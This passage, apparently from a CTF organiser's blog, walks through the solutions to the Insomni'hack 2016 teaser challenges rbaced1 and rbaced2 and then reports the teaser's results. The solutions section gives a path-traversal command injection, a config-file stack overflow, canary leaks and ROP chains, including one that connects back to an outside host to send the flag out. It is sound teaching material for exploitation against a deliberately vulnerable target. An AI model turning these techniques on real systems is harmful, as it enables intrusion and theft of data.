Thus, our CGI binaries in /home/rbaced/www/cgi-bin/ will run with default ACLs, and /home/rbaced/rbaced will have several additional permissions, including the authorization to execute itself.

The authenticator role implements similar restrictions but allows to execute /getflag_part2.

Just by looking at the RBAC policy, we can already deduce that to solve rbaced1 we have to exploit rbaced (only process that can read /flag_part1), and authenticator for rbaced2 (only process that can exec /getflag_part2). We also know that authenticator is bound on localhost and only rbaced can connect to it, so we will have to exploit authenticator through rbaced, somehow. Also worth noting is that there is nothing in the authenticator role that specifically disables connect/bind. As a result it is enabled by default.

The vulnerabilities

Before we delve into the vulnerabilities, let’s summarize the logic implemented in the challenge.

The rbaced binary operates in two modes:

  • Server mode: run as root with --config=/home/rbaced/rbaced.conf --daemon. This is the HTTP server listening on port 8080. It drops privileges to rbaced/rbaced, thereby transitioning into the rbaced role, then returns the output of a CGI binary or an error. If the file exists and is not a CGI binary, it executes itself as a client instead.
  • Client mode: acts as a CGI binary and returns either the index, the file in env['SCRIPT_NAME'] or the file provided by the --file option. It checks if the file belongs to the env['SERVER_ROOT']

The CGI binaries (requiring authentication) are:

  • preferences: a form to save your favorite coffee preferences (sugar, cream, strength…). It saves those in a pref.txt file unique to the IP/creds
  • order: a form that loads existing preferences, but does nothing useful.

The authenticator binary takes base64-encoded input (from Authorization: Basic) and verifies that it matches valid credentials. Each team had different credentials during the CTF for isolation purposes.

As suggested in the description – the vulnerabilities are not quite sophisticated:

  1. cgi-bin/preferences allows to write almost arbitrary content to the pref.txt file. Ex: “sugar = <urldecode(POST['sugar'])>
  2. rbaced checks whether it should execute a CGI binary or itself by examining if the requested file starts with "/cgi-bin/" and executes the CGI directly from its filename, and is therefore vulnerable to a path traversal. Conveniently, the query string is also mapped to argv in the executed CGI.
  3. rbaced, when executed as a server, may parse its configuration from a config file. Each line is copied in a stack buffer of 1024 bytes with strcpy, leading to a straight buffer overflow.
  4. authenticator receives (in a loop) a base64-encoded Authorization-Basic string, decodes it in a stack buffer and prints "OK - Credentials accepted" or "KO - Invalid credentials '<decoded string>'". It is vulnerable to an even more obvious stack buffer overflow.

Solution for rbaced1

In a normal setup, vulnerability 2 would be as straight-forward as visiting the following page with valid credentials:

/cgi-bin/../../../../bin/bash?-c&echo+-e+"Content-Type:+flag\n\n";cat+/flag_part1

However, because of the policy, there is no bash:

[277417.298629] grsec: From <IP>: (rbaced:U:/home/rbaced/rbaced) denied access to hidden file /bin/bash by /home/rbaced/rbaced[rbaced:5409] uid/euid:1001/1001 gid/egid:1001/1001, parent /home/rbaced/rbaced[rbaced:2023] uid/euid:0/0 gid/egid:0/0

Instead, we can combine vulnerabilities 1 and 2 to reach vulnerability 3. Vulnerability 1 lets us craft a fake configuration file, which is then fed to vulnerability 2:

req = requests.get("http://%s:%s/cgi-bin/../../rbaced?--daemon&--config=userdata/%s/pref.txt" % (HOST, PORT, pref_hash), auth=auth)
print req.content

Since the overflow is caused by strcpy, we can’t have null bytes in our payload. This is however trivially bypassed by crafting null bytes on the stack using strcpy‘s terminating null byte in subsequent lines (but will increase the configuration file size a lot).
We cannot execute the classic system function, but an open/read/write ropchain does the job. The parent rbaced process expects a "Content-Type" and "\n\n" in the CGI output, so a simple call to puts("Content-Type: %s\n\n") must be prepended. The configuration User and Group fields are stored in BSS, which makes it convenient to store the flag path.

stage1 = rop([
    # print the Content-Type line (if we don't the server will raise a 500 error)
    stage1_call_func(elf.plt['puts'], content_type),
    # fd = open(flag, O_RDONLY)
    stage1_call_func(elf.plt['open'], bss_user, constants.O_RDONLY),
    # read(fd, &bss, size) -- size in rdx = stack addr (large enough)
    stage1_call_func(elf.plt['read'], 0x3, bss_addr, None),
    # print flag
    stage1_call_func(elf.plt['puts'], bss_addr),
    stage1_call_func(elf.plt['exit'], 200),
])

stage1_call_func builds a function call using adequate pop reg gadgets. pop rdi and pop rsi gadgets are easy to find, pop rdx a bit more tricky, but not necessary at this stage.

Flag: INS{We need to ROP deeper!}

Solution for rbaced2

Meet your enemies:

So far the only feature that has prevented us from exploiting things as desired is the filesystem ACLs, so we weren’t able to execute arbitrary binaries on the filesystem.

As mentioned earlier we will need to exploit the authenticator service from our rbaced exploit. In this situation our best option is to introduce new PROT_EXEC memory so we can execute a shellcode. However PaX’s MPROTECT is set (by default since kernel.pax.softmode = 0, but also through the RBAC policy), which prevents malicious use of mprotect/mmap with PROT_EXEC.

The MPROTECT feature does not protect against a open+mmap of a file with PROT_EXEC, but two other grsecurity features prevent it from happening:

  • Trusted Path Execution (TPE): prevents us from executing code from untrusted files (not owned by root), so we cannot execute a binary created by our exploit, mmap it with PROT_EXEC, LD_PRELOAD, etc. TPE can be set on a gid, but here it was set in the policy with the ‘T‘ role mode.
  • RBAC policy: the only place where we can write files is /home/rbaced/www/userdata/, which has “rw” modes only. It lacks the “x” mode, which is described as:
    This object can be executed (or mmap'd with PROT_EXEC into a task).

Attempts to introduce executable code will result in errors like:

[332824.278775] grsec: From <IP>: (rbaced:U:/) denied untrusted exec (due to being in untrusted role and file in group-writable directory) of /home/rbaced/www/userdata/test.so by /home/rbaced/www/cgi-bin/test[test:29446] uid/euid:1001/1001 gid/egid:1001/1001, parent /home/rbaced/rbaced[rbaced:29443] uid/euid:1001/1001 gid/egid:1001/1001
[332824.295676] grsec: From <IP>: (rbaced:U:/) denied RWX mprotect of /home/rbaced/www/cgi-bin/test by /home/rbaced/www/cgi-bin/test[test:29446] uid/euid:1001/1001 gid/egid:1001/1001, parent /home/rbaced/rbaced[rbaced:29443] uid/euid:1001/1001 gid/egid:1001/1001

So, as hinted in the rbaced1 flag, we don’t have much choice left: we must do everything through ROP!

Exploiting authenticator:

Exploiting the standalone authenticator binary is straight-forward: the stack buffer overflow is introduced by a base64decode, which means the last byte of the overflow is under control. If we decode 2056+1 bytes we overwrite the first byte of the stack smashing protector (SSP), which is always a null byte.

The error message prints the incorrect decoded credentials and therefore can be used to leak the SSP. It makes it possible to also leak the base address of the authenticator elf (PIE enabled) and a libc address in further requests.

All file descriptors are closed before the execution flow is diverted to our payload, but using the previous leaks we can build a ropchain that will connect-back to us (remember that this is allowed by RBAC on this role) and execute the /getflag_part2 binary, whose address can be stored in BSS:

ropchain = [
    stage2_call_func(libc.symbols['socket'], constants.AF_INET, constants.SOCK_STREAM, 0),
    stage2_call_func(libc.symbols['connect'], sockfd, auth_bss_encoded, 16),
    stage2_call_func(libc.symbols['dup2'], sockfd, constants.STDOUT_FILENO),
    stage2_call_func(libc.symbols['execve'], auth_bss_encoded + 16, 0, 0),
]

payload = "A" * 2056
payload += struct.pack("<Q", ssp)
payload += "JUNKJUNK" * 7
payload += rop(ropchain)

ROP proxy, stage1:

The authenticator exploit has to be dynamic, but we can’t interact with our exploit directly because of the way CGI works. To make it even more painful, RBAC prevents connect-backs from rbaced processes. Building a dynamic exploit in a static ROP chain is going to be very, very painful… Fortunately, in this case, there is a way to make things much easier.

Remember that the /home/rbaced/rbaced subject also inherits ACLs from the default subject of role rbaced. It means rbaced is able to read and write files to /home/rbaced/www/userdata/. Therefore our ropchain can interact with us through files.

The attack plan is:

stage1 ropchain sploit.py
write libc addresses (GOT entries) to a leak.txt file
sleep
download leak.txt
upload stage2 ropchain in pref.txt
sleep
read stage2 ropchain from pref.txt
pivot to stage2

sleep is not in the binary’s PLT and we don’t have a libc leak yet, but we can add its offset to an existing resolved GOT entry (no RELRO). To do so we can use the following gadgets (rax, rbp and rbx can be popped from the stack directly):

mov rdx, [rsp+0x10] # mov rax, [rsp+0x18] # add rax, rdx # mov byte [rax], 0x00000000 # mov rax, [rsp+0x10] # add rsp, 0x28 # ret
adc [rbp-0x41], ebx # sbb byte [rdx+0x60], 0x00000000 # jmp rax

We can store the stage2 in the heap so it can be as large as needed and won’t require further pivots. There’s a readall function in the binary that reads everything from a file descriptor and stores it in the heap. The return value is in rax so we need to set rsp = rax to pivot to our stage2 ropchain.

mov [rsp+0x30], rax # nop # add rsp, 0x20 # ret
pop rsp # pop r13 # pop r14 # pop r15 # ret

ROP proxy, stage2:

The stage2 ropchain will be bigger, but easier to write, since we have a lot more gadgets available using the libc leak.
The stage2 layout is :

[ ropchain ][ pad ][ payload_leak_ssp ][ pad ][ payload_leak_libc ][ pad ][ payload_leak_pie ][ pad ][ connect_back_struct ]

It does the following:

  1. Create a new TCP socket sockfd
  2. Connect sockfd to 127.0.0.1:4242
  3. Open leak.txt as fd for writting
  4. Send payload to leak SSP and log output to fd
  5. Send payload to leak libc and log output to fd
  6. Send payload to leak PIE and log output to fd
  7. Close fd and wait for the final payload to be uploaded
  8. Open pref.txt file for reading
  9. Read then send the final overflow payload to sockfd
  10. Send "/getflag_part2" and the connect-back sockaddr_in structure to sockfd
  11. Close sockfd and exit rbaced

In parallel during step 7 the exploit downloads the leak.txt file, generates and uploads the final payload as described in “Exploiting authenticator“.
Once the sockfd socket is closed at step 11, the last ropchain gets triggered inside the authenticator process, which sends the flag to our connect-back server.

[*] Loaded cached gadgets for 'files/rbaced' @ 0x400000
[*] Loaded cached gadgets for 'files/libc.so.6' @ 0x0
[*] Stage1 length: 448
[*] Uploading crafted config file
[*] Launch server with crafted config
[*] Retreive leak file
[+] Leaked __libc_start_main: 0x67ac86dfcdd0
[+] Libc base: 0x67ac86ddb000
[*] Uploading stage2 ropchain
[*] Stage2 length: 2032
[*] Retreive auth_service leak file
[+] Leaked auth_service SSP: 0x1bece49b84712100
[+] Leaked auth_service libc address: 0x6b3593580ec5
[+] auth_service libc base: 0x6b359355f000
[+] Leaked auth_service main base: 0x6652b188e80
[+] auth_service BSS buffer address: 0x6652b38a040
[*] Uploading auth_service exploit
[+] Exploit finished.
connect to [<IP>] from ec2-52-19-102-200.eu-west-1.compute.amazonaws.com [52.19.102.200] 52010
INS{--[ Grsecurity. What else? ]--}

Conclusions

The full exploit can be found here. pwntools must be installed.

This task was in no way a bypass of RBAC, which would likely require more of a kernel exploit. Using the (full system) learning mode can help avoid some of the mistakes introduced on purpose in this challenge.

Congratulations to Dragon Sector and Tasteless for solving both tasks during the CTF!

Insomni’hack 2016 teaser results

Last weekend saw the year’s CTF competitions begin with our very own Insomni’hack teaser. Given some of the recent absurdities (http://weputachipinit.tumblr.com/) we decided to go with the Internet of Things as our theme this year.

Before going into some of the details, we’d like to congratulate Dragon Sector for taking the first place once again, finishing in front of Tasteless and KITCTF who complete our podium.

Screenshot from 2016-01-18 10:54:48

The full scoreboard can be found here: https://teaser.insomnihack.ch/scoreboard, and also on CTFtime.

When entering the contest, participants were greeted by a kitchen, where several connected objects (tasks) could be attacked.

Screenshot from 2016-01-18 10:13:00
Nearly 850 teams registered for the teaser, with 245 of them scoring at least once.

Overall, 8 tasks were given in Web, Crypto and Pwning fields, and teams had 36 hours (from 9h UTC, the 16th of January until 21h on the 17th) to complete as many as possible (and as quickly as possible) to get the top spots.

To give an idea of the complexity of each task, the following list shows which team was the first to solve it and at what time:

  • smartcat1: solved by dcua after 16 minutes
  • Bring the noise: solved by 217 after 27 minutes
  • Greenbox: solved by Dragon Sector after 1 hour and 7 minutes
  • smartcat2: solved by dcua after 1 hour and 10 minutes
  • Fridginator 10k: solved by n0n3m4 after 3 hours and 32 minutes
  • toasted: solved by 0x8F after 6 hours and 1 minute
  • rbaced1: solved by Dragon Sector after 6 hours and 25 minutes
  • rbaced2: solved by Dragon Sector after 20 hours and 19 minutes

We quickly notice that smartcat1 and Bring the noise were the easiest tasks, while the two rbaced tasks were the toughest. This also shows with the number of times each task was solved over the course of the weekend:

  • smartcat1 (Web): 209
  • Bring the noise (Crypto): 173
  • smartcat2 (Web): 132
  • Fridginator 10k (Web/Crypto): 52
  • Greenbox (Web): 33
  • toasted (Pwning): 15
  • rbaced1 (Pwning): 12
  • rbaced2 (Pwning): 2

After completing all the tasks, your kitchen looked like this:

Screenshot from 2016-01-18 11:27:45

Writeups for some of the challenges can be found here:

https://github.com/ctfs/write-ups-2016/tree/master/insomnihack-teaser-2016

The event ran rather smoothly, with only a few services needing to be restarted every now and then.

Do note that this is not a qualification round, as anyone can participate in the finals (18th of March, Geneva, Switzerland) and it is entirely free. We’re looking forward to seeing you there!